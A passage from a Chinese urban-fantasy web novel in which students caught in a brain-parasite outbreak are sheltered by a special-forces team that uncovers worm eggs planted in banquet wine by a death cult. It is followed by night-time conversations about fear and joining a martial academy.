“你们先在警车里休息,这里足够安全。”
陆毅还是从半空中跳下,他抬手收起长刀,又回到之前那副公事公办的模样,快速交代着:
“不要乱走动,等处理完毕,我会再过来向你们了解怎么发现脑虫的。”
一落地,陆毅的时间就紧张起来,他交代完就急匆匆的去找队员。
“沈昭。”
纪缨站在原地,她看着这么多人忙碌的身影,沉默了几秒,略有些迟疑的问道:
“我刚才说话是不是太重了?”
“哪里重了?”
沈昭还是很理解纪缨的,任谁刚死里逃生,情绪都不会多稳定,何况她是担心城市安危,又是为自己出头。
她伸手拍了拍纪缨肩膀,安抚道:
“安心啦,陆队长不会放心上的,来,现在有高个顶着,我们先好好休息会儿。”
“也是。”
纪缨使劲揉了揉脸,想让自己冷静下来。
“额,纪缨。”
吴涛适时递上了手机:“手机你还要不?”
“我怎么不要!”
纪缨没想到自己又忘了要打电话,她极为懊恼的拍了下脑袋,立刻拿过手机,边摁着电话号码边质问:
“你这家伙,到底打了多久的电话?”
“奶奶啊。”
吴涛连声喊冤:“我这还没打一分钟呢!”
从打通陆毅电话,到他们安全的站在警车旁其实并未过去多久,也就六七分钟,但三人都感觉这段时间极为漫长。
纪缨很快拨通了电话,她往前走了几步,站在车前急促的和母亲交流起现状。
吴涛不太想进车,他直接坐在了地上,眉宇间是挥之不去的疲倦。
沈昭倒觉得自己状态不错。
国家队出手,接下来完全不用他们再操心,她只需要等待就行。
不过,她可不想坐在地上。
推开警用面包车中间的车门,沈昭横着坐在了柔软的皮椅上,遥望着外面正在忙碌的人们。
坐了一小会儿,不知道为什么,沈昭总觉着手里缺点东西,
她在四处张望了一下,发现车里后排正好放着防爆盾和警棍。
沈昭拿起警棍,又将防爆盾放在放在身后。
嗯,这下舒心多了。
……
陆毅正在和队员最后确定脑虫感染的范围。
他抬手看了眼手表,距离自己出发时已经过去了七分四十三秒,而地母堂的人一个都还没有赶到。
他刚想亲自打电话催促,远方突然疾驰来一辆越野车。
它拉着警报,像个巨兽般疯狂咆哮着,车速几乎达到上百公里一小时,连停都不待停的,径直朝他们冲了过来,直至靠到眼前,才疯狂的踩下刹车。
刺耳的摩擦声响了好几秒,狂风和尘土猛扑过在场的特战队员,不少人的心脏不受控制的骤停了一下。
驾驶室门被‘砰’的一声打开,一个身着灰色长袍,头上戴着山状发冠的银发老太太,在众人有些惊骇的目光中轻松跳了下来。
“用时七分钟,看起来我来的不算晚?”
老太太面色红润,姿态轻松的车内提起一个看起来颇为沉重的银箱,她站在原地环视着四周,一看到陆毅,就立刻问道:
“小陆你也在啊,范围确定好了没?”
说话间,越野车后排与副驾驶的车门被接连打开,车上踉跄下来四个中年男女,他们穿着象征执事身份的灰色长袍,各个脸色苍白,其中还有人捂着嘴巴,似乎想要呕吐。
“林堂主,在外请称职务。”
陆毅摁了下突突直跳的太阳穴,他举起手中地图:“范围已经确定了,就这几个街区,需要最高等级的封锁,连地下也不能放过。”
“明白了明白了。”
林堂主直接从陆毅手中抽过来地图,风风火火的边向前走,边扫了眼上方标红的区域,还催促起身后刚下车的地母堂成员。
“后面的都快点,你们这些年轻人,怎么还没有我一个老太婆有劲儿呢!”
执事们闭紧了双唇,什么也不说,拎起车中银箱,面如死灰的小跑着追上去。
“林堂主这车技……”
直至人走远了,副队长才幽幽开口:“依旧不减当年啊。”
现在可是下班的高峰期,七分钟就从地母堂开到这里,她都不敢想象路上会有有多刺激。
陆毅忽然想起了某些糟糕的回忆。
他猛地闭上眼再睁开,问道:“地母堂的人已经到了,结界即将布置完成,你做好追踪的准备了
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吗?”
副队长沉默了一秒。
“我这就去。”
林堂主已经走到了街前。
她站在原地,放下手提箱,原地坐下,将箱子打开。
莹莹的白光从箱子内散发出来,里面是整齐排列的高品质炁石。
空荡荡的街内忽然传来躁动的声响,但林堂主仿佛没有听见似的。
四位中年男女坐在她身后,同样打开银箱。
他们一同取下脖颈上带着的的一块拇指大小,像是石子的东西,双手合十,将其虚握在掌中。
霎那间,炁能如海浪般涌动起来!
面前的空气逐渐扭曲,灰白色的光芒从五人的合十的手掌中喷涌而出,迅速吞没了他们,随即以极快的速度向前方扩散,犹如席卷而下的洪水,顷刻间淹没了数条街道。
在圈下陆毅所画下来的区域后,它停止了扩张。
灰白色的光芒逐渐凝实,在外围形成一道略有些透明岩石墙壁,淡淡的光芒在其内游走着。
封锁结界布置完成了。
警报立刻拉响,相邻的数个城区立刻开始了戒严,各个单位全部出动,进行追踪与清查。
……
世纪大酒店。
大厅内依旧灯火通明,乐队正拉着舒缓的音乐,淡淡的花香飘荡在周围,让人越发的迷醉。
一位宾客扯了扯领口。
在这里待的太久,他感觉自己有些犯闷。
他决定上楼休息一会儿,最好打开窗,透透气,再下来社交。
可还未等这位宾客上楼,刺耳的警报声就响彻了整个大厅。
原本还在墙边站岗的安保们快步奔向门口,横着站成了一排。
她们封住了出去大门。
“发生什么事了?”
“坏了,这是一级警报!”
“快走快走,城里出大事儿了!”
“让开,不要在这里堵门!”
这些商界人士瞬间反应过来,一部分人立刻想要离开,还有部分则开始给人打电话,试图搞清楚现在的状况。
接到通知的酒店经理擦着满头的大汗,拿起话筒喊道:
“现在世纪大酒店已经被警察封锁,请大家安静,不要乱走动!”
“谁会待在这个连防护都没有的破地方!”
一个肚子圆的跟个皮球似的中年富商高声骂了一句,他快步走向门口,取下手腕上的手表,对着面前拦路的保安威逼利诱道:
“这手表价值二十万,你们拿着,马上让开,这就过去了,不让的话,我让你们全家都在城里混不下去!”
站在门前的保安们有些骚动,正迟疑着,身后突然传来一道冷冽的声音。
“把他抓了。”
特战队的孟玉踏步走了进来,
一条水桶粗,身长六米的青色巨蟒伴随在她左右,它吐着蛇信,冰冷的蛇瞳盯着富商,身形若隐若现。
中年富商瞬间僵在了原地。
身着警服的警察迅速上前,将他摁在了原地。
“紧急时期不遵守规则,贿赂,威胁指定执法人员,处三个月以上,一年以下拘留。”
孟玉径直向前走去,没给这个富商半个眼神,她站在平地,明明和大家一样高,却像是在俯视大厅里的所有人。
“现在,我需要排查整个酒店,包括所有在场人员,还请诸位好好配合。”
15.异常
太嚣张了!
想要离开的富商灰溜溜的退回大厅,平日里对员工说一不二的他们,此刻个个敢怒不敢言。
宴会的主人公姜逸行很有眼力见的主动站出来,安抚起富商们的情绪,并按照孟玉的要求引导他们喊来自己的随行人员。
孟玉则继续召集酒店的所有工作人员。
世纪大酒店距离老城区很近,不仅体积庞大,今日还在办大型宴会,来的陌生人员也多,很适合逃窜的脑虫傀儡藏匿,必须尽快排查清楚。
只是现在哪里都在抢时间,人手完全不够用,孟玉只分到三个正警和七个辅警,配合的同伴还在路上,人太少不说,她的英灵只擅长猎杀与感知活物,并不能分辨初期的脑虫傀儡。
任务有点棘手,但孟玉很快调整好了思路。
初期脑虫傀儡外形正常,战斗力偏弱,会主动混入人群,那她就把酒店三个出入口封了,再将所有人召集在一起,分厅看守,先让他们互相核对身份,进行初轮筛查,有问题的立刻扣下或者击毙。
等配合的同伴到了,就让他接手再亲自进行筛查,而自己则可以在对方筛查的同时,借助青蟒擅长感知活物的特性,将整栋酒店上上下下再筛查一遍,看其它地点是否还有脑虫傀儡潜藏。
预计三、四个小时,她就能排查完整个酒店,前往支援别的同事。
方案确定,孟玉从来时路上就已经开始忙碌,她快速给警察分配好任务,联系同伴,并通知了酒店,不仅征用了他们今天花钱请来的安保堵大门,节省了两名警力。
大厅内逐渐挤满了人。
身形时虚时实的青色巨蟒吐着蛇信,缓慢的在大厅内四处游走,这让那些富商们更冷静了,他们站了几批,认领起自己带来的司机和女伴。
酒店各处的工作人员也从各处赶了过来,按照各自的部门互相核对身份。
两名警察站到了高处,其余四位则各自看守着一片区域,他们的手放在腰间的枪上,随时警惕着。
一切都井然有序。
“孟姐。”
今天下午刚完成报道,正准备下班的季医生戴着口罩,鬼一样从门口飘了进来。
他快步走到孟玉身边,幽幽道:
“咱们这儿的工作环境可真不错,锻炼人呐!”
他还以为昨天遇到准D级异魔已经是够大的危害了,没想到今天还能见到寄生了小半个城区脑虫。
不是说枫林市很安全吗?怎么生活这么水深火热的?
“没办法,谁让季大医生你来的不巧呢。”
新人刚来就遇上个要通宵连轴转的大事,的确有点惨,孟玉有点怜悯。
可惜不多。
她安慰一句,就将酒店的工作人员表递了过去:
“别贫了,赶紧干活吧,名单给你,这里也交给你处理,我去搜楼。”
说话间,青色巨蟒灵活地绕过面前的餐桌,飞快朝她游走过来。
季医生叹了口气,他接过文件夹,向着站在一起的酒店工作人员们走去。
淡淡的绿光在他眼中萦绕。
可刚走两步,季医生就突然停下了脚步。
他侧身望向了身边餐桌上,一个喝了一半,不知道是谁放在这里的酒杯。
里面有东西。
孟玉正欲离开,看他反应,同样脚步一停:“有发现?”
“酒有问题。”
孟玉微怔,她立刻望向酒杯,眼中同样升起一道绿芒。
灯光下,清澈瑰红色的酒液正静静的躺在玻璃杯中,漂亮的好像一颗宝石。
她什么也没察觉到。
季医生没有解释,他径直走到桌前,抬手覆在酒杯上,那小半杯酒液立刻震荡起来,很快,一滴红色的酒水包裹着三四粒比头发丝还要细小,肉眼几乎无法辨认的透明虫卵,缓缓的漂浮起来。
他没有停下动作,换了个桌子,继续抽查上面的酒水。
不出意料,里面同样也有虫卵。
孟玉快步走到季医生身边,她看着对方手上悬浮的那滴酒液,瞬间联想到一个可能:
“是脑虫虫卵?”
“对。”
抽查完第三个桌上的酒水,季医生停了下来,道道的绿芒从收集的虫卵上飘过,他看向孟玉,表情极为凝重:
“这里的酒水应该都被污染了。”
这岂不是说,酒店早就混入了脑虫傀儡,所有的富商都已经被感染了?
想想这些人还居住在城市各地,手下不知有多少员工,一旦寄生成功,整个城市瞬间沦陷的情况,孟玉的心立刻紧了起来。
她瞬间跃到那些酒店人员面前,厉声质问:
“你们人员来齐了没有?这批酒水是谁负责管理运输,呈送到前厅的?”
“人都来齐了!”
酒店经理赶紧站了出来,他头上的冷汗还是冒个不停,只能不断用手帕擦拭着。
“这批酒三个月前就入库了,就备着今天用,是早晨七点由后厨取出,提前打开倒入酒杯,再由男侍送往前厅,供宾客拿取的。”
闻言,孟玉目光立刻警惕起来,青色巨蟒的身影从她身后浮现,它扭动着身体,紧盯着所有的厨师与送酒的男侍。
察觉到异样,其余酒店工作人员齐刷刷往另一边挪了几步,与他们避开。
厨师和男侍们都不安起来。
“所有人站在原地,不要乱动,等我检查!”
季医生就近摁住一个男侍,手掌闪烁着绿芒,直接贴在他的额上。
炁能如高精度的x光般扫描过大脑,将头颅内的所有结构一一向他展示出来。
来回清扫数遍,他都没有发现脑虫的迹象。
季医生绷紧双唇,收回手,又换了一个送酒的服务员。
这突如其来的变故让人忧心忡忡,等待检查的厨师和男侍们个个身体紧绷着,但没有一个人敢躲开。
三四分钟后,季医生从最后一个厨师额头上收回手。
他神情凝重的看向孟玉:“他们都没有被寄生。”
“什么?!”
没有被寄生,这本来该是个让人欣喜的好消息,可如果他们没有问题,不是脑虫傀儡所为,那酒水中的虫卵又是谁投放的?
孟玉的神色越发凝重起来。
这下问题大了。
……
‘咔嚓’。
警车内,沈昭悠闲的啃起了苹果。
天塌下来有高个顶着就是爽。
陆毅刚把他们放这里没多久,封锁整个老城区的结界就布置完毕,紧接着,更多的警察乃至全副武装的军人赶到,全副武装的分批进入结界内部进行消杀。
还有人前去追踪潜逃的脑虫傀儡,对周边进行清查……
源源不断的军用物资和后勤保障被市政厅送了过来,负责
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分发物资的见他们三个年轻人在这里,顺手就给了不少投喂,从瓶装水到军用口粮再到罐头,最后甚至连餐后水果都送过来了。
沈昭什么事儿都不用做,于是愉快的在警车里吃吃喝喝起来。
“喂,妈,我现在很好……”
吴涛和纪缨还在轮流用手机和爸妈打着电话,憋不住的系统悄悄上线,声音幽幽道:
“宿主,你心态真好。”
沈昭又啃了口苹果,像完全没听出反讽刺似的回道:“谢谢夸奖。”
“……”
系统沉默片刻,直接问道:
“这么多寄生脑虫在城内潜藏这么久,肯定不正常,宿主你怎么就不担心呢?”
闻言,沈昭手上动作一停。
受限于交通不便,联盟各城市间的人口流动并不大,很多人一生都在本地生活,活动范围甚至可以只在一个城区,熟人社会下,一旦有什么异常,周围人很快就能发现。
而且,社区民警,街道办事处,市政厅都会进行定期巡查,月检季检年检就没停过,连原主都有不少相关的记忆。
按理来说,城市的防护机制不会被击穿到这么糟糕的情况。
除非……
有什么外力。
沈昭至少有八成怀疑有人在搞鬼。
可顺着这个思路想,一个能向小半个城区投毒,还能将其隐藏起来,不被外人发现存在,是她一个普通学生能应对的吗?
肯定不能啊!
那还操心啥?让特战队愁去呗!
想的多老得快,反正现在还有高个顶着,先让她躺一会儿。
‘咔嚓。’
沈昭又咬下苹果,淡定的在心底回复起系统:
“没事,你都能发现,那特战队也不会漏掉,他们肯定会抓住这些人的。”
系统感觉沈昭在嘲讽它的智商。
它刚想继续开口,远处忽然传来了沉重的脚步声。
是陆队长。
他看上去略有些疲倦,似乎刚忙完就急匆匆过来。
看到车里半躺着的沈昭,他开口道:“沈昭,你先跟我过来,我有事要问你。”
唉,她美好的生活才持续了两个小时,就又要结束了。
沈昭咬下了最后一点果肉,将苹果核扔进垃圾袋中,从车中跳了下来。
“陆队你来了?”
听到声响,纪缨立刻从车窗伸出头,她大声追问:“那我们呢?我们什么时候能回家?”
“一会儿再叫你。”
陆毅道:“现在各城区都在封锁,等筛查完毕你们才能回家。”
“好吧。”
纪缨有些发蔫的坐回车内。
沈昭跟着陆毅走到数米开外的一顶新搭建的帐篷内。
“坐。”
陆毅拿起热水壶倒了杯红糖水,将杯子递到沈昭身前的矮桌上。
“长话短说,你是个聪明姑娘,应该能意识到这里爆发的寄生脑虫不正常。”
沈昭有些惊讶于陆毅的直白,既然如此,她也直接问道:“你们找到证据了?那抓到人了没有?”
“很遗憾,我们找到了证据,但没有抓到一个人。”
陆毅坐了下去,他声音低沉道:“甚至连对方的影子都没查到。”
啥?
沈昭立刻挺直了腰背。
你们特战队什么时候这么拉了?
16.怎么会是她?
西边天上的最后一抹晚霞也消失了,黑幕挂在天上,遮掩住了月亮与星辰。
帐篷内,白炽灯的灯光照亮了周遭的一切,布帘掀开着,灯光从门口向外投去,在地上照出一道长长的白影。
“我不信。”
沈昭心逐渐沉了下去,她看着地上的投影,坚定的摇了摇头。
“既然确定是人为,那就不可能什么都查不到,再差也会有个怀疑方向吧?”
“你说的没错。”
陆毅眼中带着赞赏,他醇厚低沉的嗓音在帐篷内回荡:
“完全没有信息本身其实也是一种信息,说明能制造这起重大惨案的,肯定是拥有特殊能力的修行者,只有这样才能抹掉自己的痕迹。”
“这个罪犯肯定还非常熟悉城市如何运转,擅长利用漏洞长线布局……考虑其手法和行为造成的结果,我个人大致确定了怀疑范围。”
沈昭立刻追问:“是谁?”
“这部分属于市政厅的秘密资料,按理不该向普通人泄露,但你属于深度参与者,可以了解部分。”
陆毅手指在桌上点了两下。
“死亡教会,整个联盟最臭名昭著的邪/教,那些教徒信奉着一个孽灵,名为死亡之主,他们以送葬者自称,会制造大量的死亡向死亡之主献祭,以此取悦祂,获得祂的赐福。”
邪/教?死亡之主?
沈昭还是第一次听到这些东西。
穿越前,在什么超凡能力都没有的时候,都有大把的人为了功名利禄而害死他人,那在这个英灵真实存在,献祭也真可以换点什么东西回来的时代,更应该加大力度禁止传播这些相关的东西。
沈昭很是理解联盟的做法,但这个消息着实让人觉得糟糕透了。
她双手交叉,身体微微前倾,声音也不由自主的加高了几度:
“也就是说,枫林市潜藏了一群死亡教徒,直到今天才被发现?”
“目前来看,是这样的。”
陆毅直视着沈昭:“我现在很疑惑一件事,你怎么能这么巧的,接连撞破了这些布置?”
嗯?话题怎么突然拐这儿了?
这个问题沈昭也答不上来,她有些懵:“我也不知道……等等,什么是接连撞破?”
陆毅的表情有些古怪起来。
“目前查到的唯一证据,是在你今天打工的世纪大酒店发现的,那里被人为投放了大量的虫卵。”
闻言,沈昭猛的向后仰去。
不会吧,这么巧?
“还有昨日的异魔。”
陆毅继续说道:“虽然在这点上还没有证据,但直觉让我确定,这是他们计划中的一环。”
那只异魔怎么也能扯上关系?!
等等。
沈昭去掉了自己,从头推理起来。
如果她没有出现,那异魔极有可能晋升为D级,在交界地大量制造杀戮。
城防军战力不足,无法应对,只能呼叫特战队来处理。
可那只异魔腹中还有超凡物品,能够在一定程度上隐匿它的行踪,恐怕一两个特战队成员还抓不到它,必然要出动很多人进行追杀,才能尽快解决。
于是,所有关注点都集中在城外的异魔身上,城内人手空虚,只能处理最基本的事务,无法监控城中的情况。
而与此同时,枫林市所有富商则齐聚世纪大酒店,感染脑虫,沦为了脑虫傀儡。
接下来用不了多久,这些遍布各个城区富商就会向手下员工传播虫卵,各城区将会有大量人员被脑虫寄生。
也就是说,异魔是死亡教徒故意抛出来的诱饵,用来转移特战队的注意力,以此来拖延时间,延缓特战队发现富商被寄生的时间?
逻辑上说得通,只可惜没有证据,只能算作推论。
收回思绪,沈昭站在外人的视角看自己的经历,同样觉着巧合到完全说不清楚。
“可我真不知道为什么会这么巧啊!”
她感觉自己真的是百口莫辩,忍不住拍起了桌子:“我就穷的没饭吃了,去打个工而已!”
沈昭恨不得在头上顶一个巨大的‘冤’字。
天知道她为什么会遇上这些事!
“我没有怀疑你。”
陆毅用指尖在桌上敲了两下:“你可是连续两次破坏了在关键时刻破坏了他们的计划,如果是为了向我们渗透……那代价也太大了,比起来这个,我更相信他们现在恨不得将你撕成碎片。”
那我还真要谢谢您提醒了哎。
沈昭隐约明白了这位陆大队长说话的风格,她深吸口气:“那您问我有什么用?”
“这或许真的是巧合,但有些时候,很可能是你不知道的情况下,和他们之间有某种特殊联系,所以才会出现这样的巧合。”
陆毅从口袋中掏出录音笔,打开,放在桌上,随手又拿起了桌上的笔记本:
“我需要你把这两天的经历从头到尾都讲一遍,看看有没有什么漏掉的地方。”
奥懂了。
这是实在是没线索了,所以把相关人员全查一遍,看看有什么突破口是吧?
也是‘警察’办案的常见操作之一了。
沈昭舒了口气,她端正态度,认真从头讲述起来。
。
虽然细节很多,但无论是昨日去城外姜姐的农田打工,还是今日遇上吴涛去老城区吃鱼,都是一时兴起的随机事件,根本无法从中找到规律。
甚至很多真的只是巧合,如果不是沈昭感知过强,她甚至已经被脑虫寄生,正逐渐沦为脑虫傀儡。
询问完毕,陆毅看着圈圈点点的笔记本,抿紧了薄唇。
一如既往的棘手。
“就先这样吧。”
陆毅合上了笔记本:“沈昭,你先回去,让纪缨过来,我有事要问她。”
“等等,我还有事要问。”
沈昭说的口干舌燥,此刻正吨吨吨的喝水,听陆毅让自己离开,她将空水杯往桌上一放,连忙问道:
“现在死亡教徒还没有被抓住,我,还有纪缨吴涛现在岂不是很危险?那接下来该怎么办?”
“这也是我想说的。”
陆毅神色重新严肃起来:“短期内还好,但长期保护你们,或者你们长期留在特战队都不现实,好在你和纪缨都是修行者,还能召唤英灵,那最好的办法,是让你们尽快拥有自保的能力。”
沈昭立刻抓住了前面的关键。
“不能长期保护?难不成这群死亡教徒很难抓?”
“非常难。”
陆毅伸手捏了捏眉心。
“这群老鼠极其擅隐藏踪迹,现在布局已经暴露,他们恐怕已经开始处理老城区所有能暴露自己的东西,重新隐匿起来,短期内……恐怕很难抓到他们。”
这岂不是说,她不仅得罪了一群实力极强,手段残忍的疯子,这群疯子现在还潜藏在暗处,不知道什么时候就会跳出来,给她一刀?
艹。
联盟怎么这么拉了?连几个邪/教徒都抓不住?
原主之前那安稳生活十七年的记忆难道都是假的吗?
怎么她穿过来就突然冒出这么多危险了?
一瞬间,沈昭感觉这个世界对她充满了恶意。
她觉着自己很有必
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要把这份恶意还回去。
比如,未来如果遇到这群死亡教徒,那必须和他们来一些令人颈上添花,心胸宽敞,脑洞大开的交流。
但首先,她得有这个能力。
“还是去武道院吗?”
“对。”
陆毅颔首道:“旁的地方我不敢保证,但武道院绝对安全,驻守的监院与院事也都擅长教学,正好让你尽快提升自保能力。”
“好吧,我知道了。”
沈昭叹了口气,她觉得自己读书人的梦想大概永远不会实现了。
这还不如学医呢!
“那我回去了。”
说着,沈昭站起身,转身走出了帐篷。
外面有些黑。
夜风一阵阵吹过,抚乱了沈昭的短发,带来丝丝的凉意。
警车上刺目的红蓝警灯依旧闪烁着,指引着回去的方向,昏暗的路灯勉强照亮了脚下的路。
她慢步走着,很快到了车前。
“沈昭你终于回来了!”
等候许久的纪缨立刻从车上下来,满是好奇的问道:“陆队把你叫过去,是为了问什么啊?”
“说是要调查起因,把今天遇到脑虫的细节都问了一遍。”
沈昭还记得陆毅说死亡教徒属于秘密资料,在没有获得许可之前,她不能向纪缨泄漏。
“正好,他叫你过去呢,估摸着也是要问这些。”
“奥奥。”
纪缨点了点头:“那我就先过去了。”
她快步走向了帐篷。
留下的沈昭站在车门前,忽然发现自己还是少问了一句。
她们今天晚上从哪儿休息?
……
滴答,滴答。
黑暗中,水滴不知从何处滴落了下来。
一道黑影在此穿梭着。
他熟练的左拐右拐。
幽蓝色的光芒逐渐从远方浮现,某种猛兽的喘息从耳边响起,齿牙交错着,仿佛下一秒,就要将他彻底吞噬。
“你来迟了。”
仿佛指甲摩擦铁板的刺耳声响从面前响起,黑影瞬间停住了脚步,
面前是把巨大的荆棘王座,一个身着血色长袍,带着面具的男人正高坐在上面。
一条体型庞大如牛的黑犬正趴伏在王座旁边,它长着三只头颅,六只幽绿色的眼睛在黑暗中异常清晰,它们紧盯着他,时不时张开嘴巴,露出异常锋利的獠牙。
“主教。”
黑影恭敬的下跪:“各城区已经被封锁,我们清扫‘尾巴’时多废了点时间,不过现在兄弟姐妹们都完成了隐匿。”
“一如既往的废物。”
血衣主教很是不满地呵斥,但在这种时候,惩戒只会浪费本就宝贵的人力,他没有继续再提,只问道:
“计划失败的原因,找到了吗?”
“找到了,是……因为三个学生。”
提及此处,黑影身躯颤抖了一下,他从袖中掏出张照片:“他们发现了异常,七号当时正在投放虫卵,没有及时处理,那些脑虫傀儡实力太弱,没拦住他们报警……”
怒火瞬间朝他扑来。黑影感觉自己的五脏六腑都仿佛被一只无形的大手狠狠攥住,剧烈的痛楚如潮水般不断袭来,他咬紧牙关,不敢呻吟半点。
片刻,怒火逐渐消失,剧痛缓慢降了下来。
三个学生?
王座上的血衣主教微微抬手,那张照片向他凭空飞了过去,最终定格在他面前。
他想着未来该如何给这三人一份难忘的谢礼,却忽然从相片上看到一个熟悉的面孔。
怎么会是她?
17.夜谈
广场。
数台探照灯大开着,将这里照得亮如白昼。
纪缨从帐篷里走了出来,她脚步轻飘飘的,双颊有些泛红,三步并作两步向沈昭跑来,抓着她的肩膀就摇晃起来。
“沈昭,我也能去武道院补武课了!”
“哎哎哎有必要这么兴奋吗?”
沈昭被摇的整个人都晃了起来,感觉脑子都要摇散黄,连忙摁着对方肩膀问道:
“你文化分怎么办?”
昨天纪缨离开之后,沈昭就趁着时间还早,出门找了个网吧,把联盟考试和超凡者修行全都查了个遍。
和现代的高考制度略有不同,联盟的考试更为复杂,和艺体生有些类似,分为统一联考和校考。
后者只有顶尖的尖子生才有资格参与,暂不列入考虑,至于统一联考,需要考两个大类,文化和体育,两者分数相同,按比例计分。
其中,文化考试的试卷一致,体育考试则划分三个等级,适配普通人,修行者,以及英灵契约者。
根据专业不同,文化和体育的计分比例也会不同,比如纪缨心心念念的法学专业,大多数学校录取要求在9:1左右。
毕竟劝人学法,千刀万剐,面对多到能砌墙的法律条文,学习能力不占优的话,连能不能毕业都是个问题。
而纪缨此刻重心更应该放在文化课上,怎么因为能去武道院就这么兴奋了?
“不一样啊,那可是和五校并称的武道院,里面的老师不是在役军官就是退下来的大佬,稍微教我一点,我就说不定能冲一把政法大学了!”
一提到文化课,纪缨就冷静了不少,她松开手,很是无奈道:
“普通学院体育比倒是低,可考上毕业也没什么好工作,不如卷一卷体育分,反正我模考成绩还不错,空几天专攻也没问题,大不了,把真题都拿到武道院一起刷呗。”
钛,这是哪里来的卷狗?快把我的朋友纪缨还回来!
沈昭眼含怜悯,冲着她举起了一个大拇指。
“你牛。”
政法大学的法学专业录取比例极为接近,为6:4,不仅文化分要求高,体育分也几乎同等重要,必须两手齐抓,堪称是双倍的学习,双倍的快乐。
考它,那可真是太有福了!
“呵呵。”
纪缨双手环抱在胸前,冷呵一声:“放心,你也逃不掉。”
好学校可不招文盲,哪怕是武力为主,分数比例调整为4:6军校,同样有着一手卡最低文化分的好套路。
更不要说那些还要再来一遍校考的顶尖高校,每个单拿出手,都算得上是一场‘小联考’。
来吧沈昭,一起愉快地当个卷狗吧!
沈昭顿感心口扎了一刀。
怎么穿越了,好学校还是那么难考呢!
“能去武道院?那我呢?”
后座上都快睡着的吴涛一个激灵爬了起来,从车窗伸出大半个身子追问:
“我能不能去?”
“我哪儿知道?”
纪缨摇了摇头,她微微侧身,让开路:“不过陆队叫你过去,赶快去吧。”
“好啊好啊!”
吴涛手脚并用的从车里出来,大跳着奔向帐篷。
沈昭看着他离去的背影,默默给对方点了个蜡。
很明显,虽然陆毅没说,但对于没有契约英灵,修行资质也普普通通的吴涛来说,恐怕得把他扔武道院十年,才能学得几分自保的本事,还不如换个保护方式,比如发个打杂的offer什么的,顺带把他的就业也给解决了。
不出沈昭意料,刚走进去没多久,帐篷内就传来悲愤的大喊。
“为啥我不能去啊!”
唉,谁让修行者和英灵契约者之间的差距比狗还大呢。
普通修行者前期只能对自身身体素质进行增强,但英灵则会赋予契约者更奇诡的技能,或者直接实体化出现,进行二打一,这修行者怎么打都是输,根本追不平差距。
十几分钟后,吴涛垂头丧气的,无形的尾巴在身后耷拉着,脚步沉重的跟着陆毅走了过来。
“事情了解清楚了,你们的去处也已经安排完毕,明日就会安排人手送你们过去,至于今天晚上,就先在这儿休息。”
陆毅走到了跟前,灯光从高空投下,在他眼底留下一片黑色的投影。
“条件略有些艰苦,暂且忍耐吧。”
是夜。
沈昭躺在帐篷内。
身下的折叠床不算结实,稍微活动,就发出咯吱咯吱的声响,黑暗中,隐约能看到头顶的一片墨绿与交错的钢架。
帐篷外的响动一直未停,警笛与对讲机互相伴奏,大型车辆时不时经过,引擎低沉轰鸣着,轻微的地动透过床架传递到后背,更远方,还有轻微的哒哒声响飘了过来。
这这样的动静,很难让人安眠。
其实以前的沈昭还有一手晨读补眠的绝技,可惜今天怎么也使不出来。
她心乱了。
猝死,穿越,遭遇异魔,又从脑虫傀儡中死里逃生……短短两天的经历,着实太刺激了些。
这若是放在旁人身上,恐怕当场患上ptsd,心理咨询五年起步,上不封顶,仅仅是睡不着的症状,实在是无足挂齿。
睁眼盯了不知多久帐顶,沈昭听着帐篷内另一处传来的平稳呼吸声,没忍住,还是悄悄起身,掀开帐帘走了出去。
帐外依旧是一片灯火通明。
明月高悬,人影倒是寥寥无几,夜间的冷风吹拂而过,沈昭深吸一口清冽的冷气,抬头,就看到陆大队长正矗立在帐前不远处,还在用对讲机与人交谈着。
听到动静,陆毅侧身望了过来,见是沈昭,他眼中多了些许了然,低声和对讲机那头的人说了两句,就将其收起。
他朝着沈昭走了过来。
“还在担忧?”
“有点。”
沈昭目光飘向了结界,石化的界壁上,正隐约透出几分暖黄的亮光。
虫卵无形,移动出去保不齐就在哪里泄露,唯有原地处理最为安全,而一切处理手法中,还有什么比烈火更有效?
只可惜,无数人就此家园尽毁……
奥,这些人大概率也没什么意见了,毕竟自身也已经尸骨无存了不是。
真是作孽。
“你若是个普通人,我会直接给你申请记忆清理。”
陆毅也望向了结界,他低声开口道:“但你不是,所以好好记住今天。”
闻言,沈昭欲言又止,止言又欲,最后还是没忍住问道:“您应该不是在安慰我吧?”
“当然不是。”
虽然在初见和再见时,陆毅看到
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的沈昭都是在面对远胜自己的大敌时,极为敢拼敢打,毫不惜命,但骨子里随遇而安的气质却完全藏不住。
若没有压力,她根本不会付出多大努力,只会得过且过。
可惜,这个时代不容这样的懈怠,今日的安逸,必然会在未来化作穿心利剑还回来。
“我只是想让你知道,这个世界远比你想象的更残酷。”
不是吧,还有高手?
沈昭有些愕然:“还有比死亡教徒更丧心病狂的存在?”
“如果论危害的话,有很多。”
“异魔,伥鬼,孽物,时墟……还有人类自己,不知道什么时候,就会有无数人因此惨死。”
陆毅列数着人类的大敌,黑暗中,血腥气仿佛扑面而来。
“比起这些生活在摇篮里,茫然一生,被动等待保护的人来说,你很幸运。”
他凝望着沈昭,目光深邃。
“你拥有自保,甚至更甚于此的力量,沈昭,不要浪费它。”
艹。
沈昭无声骂了一句,深吸口气。
“我明白了。”
不就是再当个卷狗嘛,来啊!
她盯着跳跃的火光,良久,转过身,掀开了帐帘,重新躺回了床上。
右边折叠床上的呼吸逐渐有些错乱。
“沈昭。”
纪缨最终还是没忍住,她轻声道:“你也没睡着?”
“今天都要被吓死了。”
沈昭扯了扯嘴角:“能睡着才怪。”
“我也是。”
纪缨这才放下心来,她长呼出一口气,紧接着牙齿咬得咯吱咯吱响:
“所以你装了一白天是吧?连陆队给你说还有死亡教徒余孽会报复我们后,还在装模作样的跟我聊联考!我还以为你脑子里就剩下考试了!”
“我总不能给特战队警察他们添乱吧?”
沈昭理直气壮,甚至还反咬一口:“而且你不也在装吗?甚至你刚刚还在装睡!”
沉默,沉默是今晚的康桥。
好一会儿,纪缨才开口:“那你现在还害怕吗?”
沈昭停顿片刻,应道:“有点。”
“那我们要不把床并一起睡?”
“好主意!”
两张折叠床很快并在了一起,两个年轻的姑娘并排躺着,在对方辐射过来的温暖体温与不断放缓的呼吸声中,逐渐忘记了今日的经历,沉沉的睡了下去。
次日清晨。
天光大亮。
空气中弥漫着一股淡淡,焚烧过后的焦糊气味。
“呜呜呜咱们也算是一起扛过枪了,怎么就这么抛下我走了啊!”
吴涛站在车外,抹着不存在的眼泪,对着车内的沈昭和纪缨干嚎:
“义母!奶奶!看在交情的份上,你就带我一起去武道院吧!”
“交情?咱们有什么交情?”
